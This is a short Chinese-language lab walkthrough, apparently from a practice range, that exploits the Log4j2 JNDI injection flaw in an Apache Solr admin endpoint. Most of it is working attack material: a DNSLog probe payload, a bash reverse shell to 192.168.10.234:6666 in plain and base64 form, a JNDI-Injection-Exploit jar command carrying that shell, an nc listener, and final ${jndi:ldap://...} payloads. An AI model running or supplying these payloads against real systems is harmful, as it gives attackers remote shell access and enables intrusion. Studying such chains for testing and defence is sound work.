代码执行漏洞-Log4j2漏洞

步骤一：执行以下命令启动靶场环境并在浏览器访问

步骤二：访问靶机地址

步骤三：先在自己搭建的DNSLOG平台上获取⼀个域名来监控我们注⼊的效果

步骤四：发现 /solr/admin/cores?action= 这⾥有个参数可以传

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.gy7bx3.dnslog.cn}

步骤五：反弹shell

JDNI项⽬地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
反弹shell
bash -i >& /dev/tcp/192.168.10.234/6666 0>&1
反弹Shell-base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIzNC82NjY2IDA+JjE=
最终Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIzNC82NjY2IDA+JjE= }|{base64,-d}|{bash, -i}" -A "192.168.10.234"

步骤六：监听

nc -lvvp 6666

步骤七：拿取JDK1.8并构造Payload且直接访问..可以看到网页被重定向到了我们的恶意类网址...

/solr/admin/cores?action=${jndi:ldap://192.168.10.234:1389/fpjslm} ${jndi:ldap://192.168.10.234:6666/uma7pn}